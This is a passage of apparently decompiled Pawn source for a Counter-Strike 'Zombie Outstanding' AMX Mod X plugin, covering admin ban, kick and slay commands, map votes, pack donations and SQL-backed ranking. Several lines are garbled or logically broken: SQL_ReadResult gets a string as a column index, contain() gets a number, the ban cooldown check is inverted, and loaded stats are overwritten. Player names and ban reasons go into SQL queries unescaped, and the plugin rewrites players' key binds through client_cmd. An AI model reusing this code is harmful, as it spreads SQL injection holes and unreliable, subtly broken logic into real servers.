client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 P^1 to plant it or^3 V^1 to take it!");
client_cmd(iPlayer, "bind p plant_mine; bind v take_mine");
}
}
if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
{
static iAmmo;
static iTarget;
static cAmmo[5];
static cTarget[32];
static cDummy[15];
parse(cMessage, cDummy, 14, cTarget, 32, cAmmo, 5);
iTarget = GetTarget(iPlayer, cTarget, 0);
iAmmo = str_to_num(cAmmo);
if (!iTarget)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Invalid player or matching multiple targets!");
return 1;
}
if (0 >= iAmmo)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Invalid value of packs to send!");
return 1;
}
if (g_iPacks[iPlayer] < iAmmo)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are trying to send too many packs!");
return 1;
}
if (iTarget == iPlayer)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are trying to send packs to you!");
return 1;
}
AddCommas(iAmmo, cDummy, 14);
g_iPacks[iTarget] += iAmmo;
g_iPacks[iPlayer] -= iAmmo;
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 gave^4 %s packs^1 to^3 %s", g_cName[iPlayer], cDummy, g_cName[iTarget]);
return 1;
}
}
return 0;
}
public TaskLight()
{
if (g_iRoundType & 2)
{
light("a");
}
else
{
static cLight[2];
get_cvar_string("light", cLight, 1);
light(cLight);
}
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 4 && get_health(i) < 6000)
{
set_health(i, get_health(i) + 350);
do_screen_fade(i, 0.60, 1.15, 255, 10, 10, 94);
set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
ShowSyncHudMsg(i, g_iRegenerationSync, "== REGENERATOR ==^n!!!Regeneration: +350 HP Gained!!!");
}
i += 1;
}
return 0;
}
bool:AdminHasFlag(iPlayer, iFlag)
{
static i;
i = 0;
while (i < 42)
{
if (iFlag == g_cAdminFlags[iPlayer][i])
{
return true;
}
i += 1;
}
return false;
}
public EventCurWeapon(iPlayer)
{
g_iWeapon[iPlayer] = read_data(2);
if (g_bZombie[iPlayer])
{
switch (g_iWeapon[iPlayer])
{
case 4:
{
set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_v_grenade_infection.mdl");
set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/z_out_p_grenade_infection.mdl");
}
case 29:
{
if (!g_iPlayerType[iPlayer])
{
set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
}
else
{
if (g_iPlayerType[iPlayer] & 1)
{
set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_nemesis_claws.mdl");
}
if (g_iPlayerType[iPlayer] & 2)
{
set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_assassin_claws.mdl");
}
}
set_weaponmodel_null(iPlayer);
}
default:
{
}
}
}
else
{
if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
{
jet(iPlayer);
}
else
{
if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == 18)
{
set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_v_awp_sniper.mdl");
set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/z_out_p_awp_sniper.mdl");
}
if (g_bGolden[iPlayer] && g_iWeapon[iPlayer] == 28)
{
set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/v_golden_ak47.mdl");
set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/p_golden_ak47.mdl");
}
if (g_bGoldenDeagle[iPlayer] && g_iWeapon[iPlayer] == 26)
{
set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/v_golden_deagle.mdl");
set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/p_golden_deagle.mdl");
}
}
}
return 0;
}
public CmdBan(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 100))
{
if (4 > read_argc())
{
console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_ban <#userid or name> <time> [reason]");
return 1;
}
static Float:fGameTime;
fGameTime = get_gametime();
if (!floatsub(fGameTime, g_fLastBanQuery) >= 6.0)
{
console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
return 1;
}
g_fLastBanQuery = fGameTime;
static cTimeLength[32];
static cReason[36];
static iClient;
static iTime;
static cTime[15];
static cTarget[32];
read_argv(1, cTarget, 32);
read_argv(2, cTime, 6);
read_argv(3, cReason, 36);
iTime = str_to_num(cTime);
if (0 > iTime)
{
iTime = 0;
}
if (iTime > 175000)
{
iTime = 175000;
}
if (0 < iTime)
{
GetTimeLength(iTime, cTimeLength, 32);
iTime = iTime * 60;
}
iClient = GetTarget(iPlayer, cTarget, 4);
if (iClient)
{
if (0 < iTime)
{
formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',(unix_timestamp(now())+%d),'%s',unix_timestamp(now()),'%s')", g_cName[iPlayer], g_cSteam[iPlayer], g_cSteam[iClient], g_cName[iClient], cReason, iTime, g_cInternetProtocolAddress[iClient], cTimeLength);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cTime, 0);
}
else
{
formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',0,'%s',unix_timestamp(now()),'Permanently')", g_cName[iPlayer], g_cSteam[iPlayer], g_cSteam[iClient], g_cName[iClient], cReason, g_cInternetProtocolAddress[iClient]);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cTime, 0);
}
if (0 < iTime)
{
AddCommas(iTime / 60, cTime, 14);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 for^3 %s^1 minutes due to^3 %s", g_cName[iPlayer], g_cName[iClient], cTime, cReason);
}
else
{
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", g_cName[iPlayer], g_cName[iClient], cReason);
}
server_cmd("kick #%d You are banned! Check http://csaddicted.com/bans", get_user_userid(iClient));
}
return 1;
}
return 0;
}
public CmdFreeze(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 49))
{
static iTarget;
static cTarget[33];
read_argv(1, cTarget, 32);
iTarget = GetTarget(iPlayer, cTarget, 6);
if (iTarget)
{
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 frost^1 due to^3 camping", g_cName[iPlayer], g_cName[iTarget]);
set_frozen(iTarget, 1);
set_glow(iTarget, 19, 32, 0, 50, 90);
g_bFrozen[iTarget] = 1;
ExecuteHamB(Ham_Item_PreFrame, iTarget);
}
return 1;
}
return 0;
}
public CmdKick(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 99))
{
if (3 > read_argc())
{
console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_kick <#userid or name> [reason]");
return 1;
}
static iTarget;
static cReason[36];
static cTarget[32];
read_argv(1, cTarget, 32);
read_argv(2, cReason, 36);
iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
if (iTarget)
{
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 kicked^4 %s^1 due to^3 %s", g_cName[iPlayer], g_cName[iTarget], cReason);
server_cmd("kick #%d You are kicked!", get_user_userid(iTarget));
}
return 1;
}
return 0;
}
public MessageScenario()
{
if (1 < get_msg_args())
{
static cSprite[8];
get_msg_arg_string(2, cSprite, 8);
if (equal(cSprite, "hostage", 0))
{
return 1;
}
}
return 0;
}
public CmdVoteMap(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 103))
{
if (3 > read_argc())
{
console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_votemap <map> <map>");
return 1;
}
if (g_bVoting || g_bSecondVoting)
{
console_print(iPlayer, "[Zombie Outstanding] You can't start the vote right now..");
return 1;
}
static cSecondMap[32];
static cMap[32];
read_argv(1, cMap, 32);
read_argv(2, cSecondMap, 32);
if (is_map_valid(cMap) && is_map_valid(cSecondMap))
{
static i;
g_bSecondVoting = true;
set_task(15.0, "CheckSecondVotes", iPlayer, "", 0, "", 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 ADMIN^4 %s^1 initiated a vote with^4 %s^1 and^4 %s", g_cName[iPlayer], cMap, cSecondMap);
copy(g_cSecondMaps[0], 32, cMap);
copy(g_cSecondMaps[1], 32, cSecondMap);
g_iMenu = menu_create("Choose the next map!", "SecondVotePanel", 0);
menu_additem(g_iMenu, cMap, "1", 0, -1);
menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
menu_setprop(g_iMenu, 6, -1);
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i])
{
menu_display(i, g_iMenu, 0);
}
i += 1;
}
}
else
{
console_print(iPlayer, "[Zombie Outstanding] Unable to find specified map or one of the specified map(s)!");
}
return 1;
}
return 0;
}
public EmptyPanel(iPlayer, iMenu, iItem)
{
return 0;
}
public VotePanel(iPlayer, iMenu, iItem)
{
if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer])
{
if (g_bVoting)
{
static iKeyMinusDoi;
static iKeyMinusUnu;
static iKey;
static iDummy;
static cData[32];
menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
iKey = str_to_num(cData);
iKeyMinusUnu = iKey + -1;
iKeyMinusDoi = iKey + -2;
if (0 > iKeyMinusUnu)
{
iKeyMinusUnu = 0;
}
if (0 > iKeyMinusDoi)
{
iKeyMinusDoi = 0;
}
if (iKey == 1)
{
if (g_iVotes[0] + 1 == 1)
{
client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
g_iVotes[iKeyMinusUnu]++;
}
else
{
client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
g_iVotes[iKeyMinusUnu]++;
}
}
else
{
if (g_iVotes[iKeyMinusUnu] == 1)
{
client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
g_iVotes[iKeyMinusUnu]++;
}
else
{
client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
g_iVotes[iKeyMinusUnu]++;
}
}
}
else
{
client_print_color(iPlayer, print_team_grey, "^1This vote is^4 no longer^1 available!");
return 1;
}
}
return 0;
}
public SecondVotePanel(iPlayer, iMenu, iItem)
{
if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer])
{
if (g_bSecondVoting)
{
static iKeyMinusUnu;
static iKey;
static iDummy;
static cData[32];
menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
iKey = str_to_num(cData);
iKeyMinusUnu = iKey + -1;
if (0 > iKeyMinusUnu)
{
iKeyMinusUnu = 0;
}
if (g_iSecondVotes[iKeyMinusUnu] == 1)
{
client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
g_iSecondVotes[iKeyMinusUnu]++;
}
else
{
client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
g_iSecondVotes[iKeyMinusUnu]++;
}
}
else
{
client_print_color(iPlayer, print_team_grey, "^1This vote is^4 no longer^1 available!");
return 1;
}
}
return 0;
}
public CmdSlay(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 101))
{
if (2 > read_argc())
{
console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_slay <#userid or name>");
return 1;
}
static iTarget;
static cTarget[32];
read_argv(1, cTarget, 32);
iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
if (iTarget)
{
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 slayed^4 %s", g_cName[iPlayer], g_cName[iTarget]);
kill(iTarget);
}
return 1;
}
return 0;
}
public TimerChangeMap()
{
if (!g_bEnded)
{
g_bEnded = true;
g_fLastQuery = 999999.0;
g_fLastRankQuery = 999999.0;
g_fLastBanQuery = 999999.0;
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
g_bUnlimitedClip[i] = 0;
g_bRanked[i] = 0;
i += 1;
}
i = 0;
while (i < 1500)
{
remove_task(i, 0);
i += 1;
}
set_task(0.75, "ShutDownSQL", 0, "", 0, "", 0);
}
return 0;
}
public ShutDownSQL()
{
g_fLastQuery = 999999.0;
g_fLastRankQuery = 999999.0;
g_fLastBanQuery = 999999.0;
static i;
i = 0;
while (i < 1500)
{
remove_task(i, 0);
i += 1;
}
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Shutting down^3 MySQL^1 connection... Map change in^3 11 seconds!");
set_task(11.75, "TaskInt", 0, "", 0, "", 0);
return 0;
}
public TaskInt()
{
if (callfunc_begin("First_SpecialTask", "MapEndManager.amxx") == 1)
{
callfunc_end();
}
set_task(0.12, "TaskChangeLevel", 800, "", 0, "", 0);
return 0;
}
public TaskUnloadB()
{
server_cmd("amxx pause ZombieOutstanding.amxx");
return 0;
}
public TaskUpdateTime(iTask)
{
if (g_bRanked[iTask + -400])
{
g_iOnlineTime[iTask + -400] += 5;
GetTimeLength(g_iOnlineTime[iTask + -400], g_cOnlineTime[iTask + -400], 32);
formatex(g_cQuery, 255, "UPDATE r SET y=y+5,t=unix_timestamp(now()) WHERE n='%s'", g_cName[iTask + -400]);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, hQuery, 0);
if (!(g_iOnlineTime[iTask + -400] % 2))
{
send_say_text(iTask + -400, g_iMaxClients + 1, "^4[Zombie Outstanding]^1 You played^4 +10 minutes^1 then you receive^4 4^1 packs!");
g_iPacks[iTask + -400] += 4;
}
}
return 0;
}
public SQLPreparePlayer(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
static iPlayer;
iPlayer = str_to_num(cData);
if (!g_bRanked[iPlayer])
{
if (SQL_NumResults(hQuery))
{
g_iScore[iPlayer] = SQL_ReadResult(hQuery, 0);
g_iKills[iPlayer] = SQL_ReadResult(hQuery, 1);
g_iDeaths[iPlayer] = SQL_ReadResult(hQuery, 2);
g_iPoints[iPlayer] = SQL_ReadResult(hQuery, "");
g_iOnlineTime[iPlayer] = SQL_ReadResult(hQuery, 4);
GetTimeLength(g_iOnlineTime[iPlayer], g_cOnlineTime[iPlayer], 32);
g_bRanked[iPlayer] = 1;
show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.685, 1.75);
}
g_iScore[iPlayer] = 1000;
g_iOnlineTime[iPlayer] = 0;
g_iDeaths[iPlayer] = 0;
g_iKills[iPlayer] = 0;
g_iPoints[iPlayer] = 0;
formatex(g_cQuery, 256, "INSERT INTO r VALUES ('%s','%s','%s',1000,0,0,0,0,unix_timestamp(now()))", g_cName[iPlayer], g_cInternetProtocolAddress[iPlayer], g_cSteam[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLLoadedRank", g_cQuery, cData, 3);
g_iRanksCount += 1;
}
return 0;
}
public SQLGetMaps(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
if (SQL_NumResults(hQuery) > 3 && get_cvar_num("mp_timelimit") > 3)
{
static bool:bStop;
static cMaps[128][32];
static iRandom;
static iPreparedMaps;
static iValidMaps;
static iMaps;
iPreparedMaps = 0;
iValidMaps = 0;
iMaps = 0;
while (SQL_MoreResults(hQuery))
{
SQL_ReadResult(hQuery, 0, cMaps[iMaps], 32);
if (is_map_valid(cMaps[iMaps]))
{
iValidMaps += 1;
}
iMaps += 1;
SQL_NextRow(hQuery);
}
if (iValidMaps > 3)
{
while (iPreparedMaps != 4)
{
iRandom = random_num(0, iMaps + -1);
bStop = false;
g_iVariable = 0;
while (g_iVariable < 4)
{
if (equal(cMaps[iRandom], g_cMaps[g_iVariable], 0))
{
bStop = true;
}
g_iVariable += 1;
}
if (!bStop)
{
if (is_map_valid(cMaps[iRandom]))
{
formatex(g_cMaps[iPreparedMaps], 32, "%s", cMaps[iRandom]);
iPreparedMaps += 1;
}
}
}
set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
}
else
{
set_cvar_string("nextmap", "zm_ice_attack3");
}
}
else
{
set_cvar_string("nextmap", "zm_ice_attack3");
}
return 0;
}
public CheckSecondVotes()
{
static iVoteOption;
static iMaximumVotes;
g_bSecondVoting = false;
iMaximumVotes = -1;
g_iVariable = 0;
while (g_iVariable < 2)
{
if (iMaximumVotes < g_iSecondVotes[g_iVariable])
{
iMaximumVotes = g_iSecondVotes[g_iVariable];
iVoteOption = g_iVariable;
}
g_iVariable += 1;
}
client_print_color(0, print_team_grey, "^1The next map will be^4 %s", g_cSecondMaps[iVoteOption]);
set_cvar_string("nextmap", g_cSecondMaps[iVoteOption]);
if (g_bConnected[g_iVoter])
{
g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange", 0);
menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
menu_setprop(g_iMenu, 6, -1);
menu_display(g_iVoter, g_iMenu, 0);
}
g_iSecondVotes[3] = 0;
g_iSecondVotes[2] = 0;
g_iSecondVotes[1] = 0;
g_iSecondVotes[0] = 0;
return 0;
}
public _MenuChange(iPlayer, iMenu, iItem)
{
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, "", {0}, 0, iDummy);
iChoice = str_to_num(cBuffer);
switch (iChoice)
{
case 0:
{
static cMap[32];
get_cvar_string("nextmap", cMap, 32);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Changing map to^4 %s^1...", cMap);
set_cvar_num("mp_timelimit", 4096);
set_task(1.0, "TimerChangeMap", 0, "", 0, "", 0);
}
case 1:
{
static cMap[32];
get_cvar_string("nextmap", cMap, 32);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Console variable^4 nextmap^1 has been changed to^4 %s^1...", cMap);
set_cvar_num("mp_timelimit", 4096);
}
case 2:
{
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 We will stay here...");
}
default:
{
}
}
return 0;
}
public CheckVotes()
{
static iVoteOption;
static iMaximumVotes;
g_bVoting = false;
iMaximumVotes = -1;
g_iVariable = 0;
while (g_iVariable < 5)
{
if (iMaximumVotes < g_iVotes[g_iVariable])
{
iMaximumVotes = g_iVotes[g_iVariable];
iVoteOption = g_iVariable;
}
g_iVariable += 1;
}
if (iVoteOption)
{
client_print_color(0, print_team_grey, "^1The next map will be^4 %s", g_cMaps[iVoteOption + -1]);
set_cvar_string("nextmap", g_cMaps[iVoteOption + -1]);
set_cvar_num("mp_timelimit", 4096);
}
else
{
client_print_color(0, print_team_grey, "^1This map will be extended with^4 10^1 minutes!");
set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
}
g_iVariable = 0;
while (g_iVariable < 5)
{
g_iVotes[g_iVariable] = 0;
g_iVariable += 1;
}
return 0;
}
public CheckTimeleft(iDecimal)
{
static Float:fTimeLeft;
fTimeLeft = GetTimeLeft();
if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.0 && !g_bSecondVoting && !g_bVoting)
{
remove_task(iDecimal, 0);
g_bVoting = true;
set_task(15.0, "CheckVotes", 0, "", 0, "", 0);
g_iMenu = menu_create("Choose the next map!", "VotePanel", 0);
menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
static j[32];
static i;
i = 2;
g_iVariable = 0;
while (g_iVariable < 4)
{
num_to_str(i, j, 32);
menu_additem(g_iMenu, g_cMaps[g_iVariable], j, 0, -1);
i += 1;
g_iVariable += 1;
}
menu_setprop(g_iMenu, 6, -1);
g_iVariable = 1;
while (g_iMaxClients + 1 > g_iVariable)
{
if (g_bConnected[g_iVariable])
{
menu_display(g_iVariable, g_iMenu, 0);
}
g_iVariable += 1;
}
}
return 0;
}
public SQLCheckAdmin(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
if (SQL_NumResults(hQuery) == 1)
{
new iPlayer;
new cPassword[32];
new cFlags[42];
new cTag[32];
iPlayer = str_to_num(cData);
SQL_ReadResult(hQuery, 0, cFlags, 41);
SQL_ReadResult(hQuery, 1, cPassword, 31);
SQL_ReadResult(hQuery, 2, cTag, 31);
if (equali(cPassword, g_cPasswords[iPlayer], 0) && strlen(cPassword) && strlen(cFlags) && strlen(g_cPasswords[iPlayer]))
{
g_bAdmin[iPlayer] = 1;
formatex(g_cAdminFlags[iPlayer], 42, "%s", cFlags);
formatex(g_cTag[iPlayer], 24, "%s", cTag);
show_glow_message(iPlayer, "You are now administrator!", 6904269, 0.02, 0.6, 1.75);
}
else
{
g_bAdmin[iPlayer] = 0;
formatex(g_cAdminFlags[iPlayer], 42, "%s", cFlags);
server_cmd("kick #%d Incorrect password!", get_user_userid(iPlayer));
}
}
return 0;
}
public SQLBanCheck(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
if (SQL_NumResults(hQuery))
{
server_cmd("kick #%d You are banned! Check http://csaddicted.com/bans", get_user_userid(str_to_num(cData)));
}
return 0;
}
GetTimeLength(iTime, sTime[], iLength)
{
static sElement[2][12];
static sA[15];
static iElement;
static iSecond;
static iMinute;
static iHour;
iSecond = 0;
iMinute = 0;
iHour = 0;
iElement = -1;
iSecond = iTime * 60;
iHour = iSecond / 3600;
iSecond = iSecond - iHour * 3600;
iMinute = iSecond / 60;
iSecond = iSecond - iMinute * 60;
if (0 < iHour)
{
AddCommas(iHour, sA, 14);
iElement += 1;
formatex(sElement[iElement], 11, "%s h", sA);
}
iElement += 1;
formatex(sElement[iElement], 11, "%d m", iMinute);
switch (iElement)
{
case 0:
{
formatex(sTime, iLength, "%s", sElement[0]);
}
case 1:
{
formatex(sTime, iLength, "%s %s", sElement[0], sElement[1]);
}
default:
{
}
}
return 0;
}
Float:GetTimeLeft()
{
return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
}
public client_disconnect(iPlayer)
{
static iTimeLimit;
iTimeLimit = get_pcvar_num(g_iTimeLimit);
if (iTimeLimit != 4096)
{
if (g_bAlive[iPlayer])
{
CheckLastPlayer(iPlayer);
}
InsertInfo(iPlayer);
ArrayPushString(g_aNameData, g_cName[iPlayer]);
ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
}
remove_task(iPlayer + 50, 0);
remove_task(iPlayer + 100, 0);
remove_task(iPlayer + 150, 0);
remove_task(iPlayer + 250, 0);
remove_task(iPlayer + 200, 0);
remove_task(iPlayer + 300, 0);
remove_task(iPlayer + 850, 0);
remove_task(iPlayer + 350, 0);
remove_task(iPlayer + 400, 0);
remove_task(iPlayer + 500, 0);
remove_task(iPlayer + 450, 0);
if (g_iPlantedMines[iPlayer])
{
g_iPoints[iPlayer] = 0;
g_iPlantedMines[iPlayer] = 0;
}
g_iPlayerMines[iPlayer][1] = 0;
g_iPlayerMines[iPlayer][0] = 0;
g_iPlantedMines[iPlayer] = 0;
g_iTripMines[iPlayer] = 0;
g_iBlinks[iPlayer] = 0;
g_bRemoving[iPlayer] = 0;
g_bPlanting[iPlayer] = 0;
g_bAdminModel[iPlayer] = 0;
g_bServerSlot[iPlayer] = 0;
g_bDoubleDamage[iPlayer] = 0;
g_bUnlimitedClip[iPlayer] = 0;
g_bTryder[iPlayer] = 0;
g_bAlive[iPlayer] = 0;
g_bConnected[iPlayer] = 0;
g_fGagTime[iPlayer] = 0;
return 0;
}
public SQLGetRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
static cScore[15];
static cDeaths[15];
static cKills[15];
static cTotal[15];
static cRank[15];
static iRank;
static iPlayer;
iPlayer = str_to_num(cData);
iRank = SQL_NumResults(hQuery);
AddCommas(iRank, cRank, 15);
AddCommas(g_iRanksCount, cTotal, 15);
AddCommas(g_iDeaths[iPlayer], cDeaths, 15);
AddCommas(g_iKills[iPlayer], cKills, 15);
AddCommas(g_iScore[iPlayer], cScore, 15);
g_iMenu = menu_create("Ranking", "EmptyPanel", 0);
formatex(g_cQuery, 255, "Rank: %s of %s Score: %s", cRank, cTotal, cScore);
menu_additem(g_iMenu, g_cQuery, "1", 0, -1);
new var1;
if (g_iDeaths[iPlayer])
{
var1 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
}
else
{
var1 = float(g_iKills[iPlayer]);
}
formatex(g_cQuery, 255, "Kills: %s Deaths: %s KPD: %0.2f", cKills, cDeaths, var1);
menu_additem(g_iMenu, g_cQuery, "2", 0, -1);
formatex(g_cQuery, 255, "Online: %s", g_cOnlineTime[iPlayer]);
menu_additem(g_iMenu, g_cQuery, "3", 0, -1);
menu_setprop(g_iMenu, 6, -1);
menu_display(iPlayer, g_iMenu, 0);
new var2;
if (g_iDeaths[iPlayer])
{
var2 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
}
else
{
var2 = float(g_iKills[iPlayer]);
}
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1's rank is^4 %s^1 of^4 %s^1 --^3 %0.2f KPD", g_cName[iPlayer], cRank, cTotal, var2);
return 0;
}
public EventHLTV()
{
g_bRoundStart = true;
g_bModeStarted = false;
g_fRoundStartTime = get_gametime();
return 0;
}
public TaskCounter()
{
g_iCounter -= 1;
if (0 < g_iCounter < 9)
{
static cWord[12];
num_to_word(g_iCounter, cWord, 12);
set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
client_cmd(0, "spk fvox/%s", cWord);
}
return 0;
}
public EventRoundStart()
{
g_iRoundType = 0;
new var3 = false;
g_bModeStarted = var3;
g_bRoundEnd = var3;
g_bRoundStart = true;
remove_task(650, 0);
set_task(2.00, "TaskWelcome", 650, "", 0, "", 0);
g_iCounter = 16;
remove_task(550, 0);
set_task(16.00, "TaskZombie", 550, "", 0, "", 0);
remove_task(700, 0);
set_task(1.00, "TaskCounter", 700, "", 0, "a", 15);
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && get_user_jetpack(i))
{
set_user_rocket_time(i, 0);
}
g_iMaxJumps[i] = 0;
g_iPlantedMines[i] = 0;
g_iTripMines[i] = 0;
g_iBlinks[i] = 0;
g_iPlayerMines[i][1] = 0;
g_iPlayerMines[i][0] = 0;
g_iKillsThisRound[i] = 0;
g_bGaveThisRound[i] = 0;
g_bDoubleDamage[i] = 0;
g_bTryder[i] = 0;
g_bUnlimitedClip[i] = 0;
if (g_bConnected[i] && VipHasFlag(i, 106) && g_iMaxJumps[i])
{
g_iMaxJumps[i] = 1;
}
i += 1;
}
static cMap[32];
get_cvar_string("nextmap", cMap, 32);
if (get_cvar_num("mp_timelimit") == 4096)
{
set_task(0.75, "TimerChangeMap", 0, "", 0, "", 0);
}
return 0;
}
public CmdChat(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
{
static i;
static cPhrase[192];
read_args(cPhrase, 192);
remove_quotes(cPhrase);
if (contain(cPhrase, 383812) != -1)
{
return 1;
}
cPhrase[189] = 0;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && g_bAdmin[i])
{
client_print_color(i, print_team_grey, "^4[ADMINS]^3 %s^1 : %s", g_cName[iPlayer], cPhrase);
}
i += 1;
}
}
return 1;
}
public CmdSayChat(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 121))
{
static i;
static cPhrase[192];
read_args(cPhrase, 192);
remove_quotes(cPhrase);
if (contain(cPhrase, "%") != -1)
{
return 1;
}
cPhrase[189] = 0;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i])
{
client_print_color(i, print_team_grey, "^4[ALL]^3 %s^1 : %s", g_cName[iPlayer], cPhrase);
}
i += 1;
}
}
return 1;
}
public TaskRespawn(iPlayer)
{
if (g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
{
if (!g_bAlive[iPlayer])
{
ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
